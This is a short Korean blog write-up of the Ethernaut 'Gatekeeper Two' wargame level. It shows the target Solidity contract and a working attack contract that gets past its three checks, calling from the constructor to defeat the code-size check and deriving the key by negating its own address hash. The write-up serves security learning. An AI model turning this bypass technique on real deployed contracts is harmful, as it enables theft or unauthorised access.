블록체인/Ethernaut
[Ethernaut] 14. Gatekeeper Two
dev_dean
2022. 6. 10. 13:05
소스코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
목표
modifier 통과
방법
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./GatekeeperTwo.sol";
contract GatekeeperTwoAttack {
GatekeeperTwo target;
constructor(address _adr) public {
target = GatekeeperTwo(_adr);
bytes8 ae = bytes8(keccak256(abi.encodePacked(address(this))));
bytes8 key = ~ae;
target.enter(key);
}
}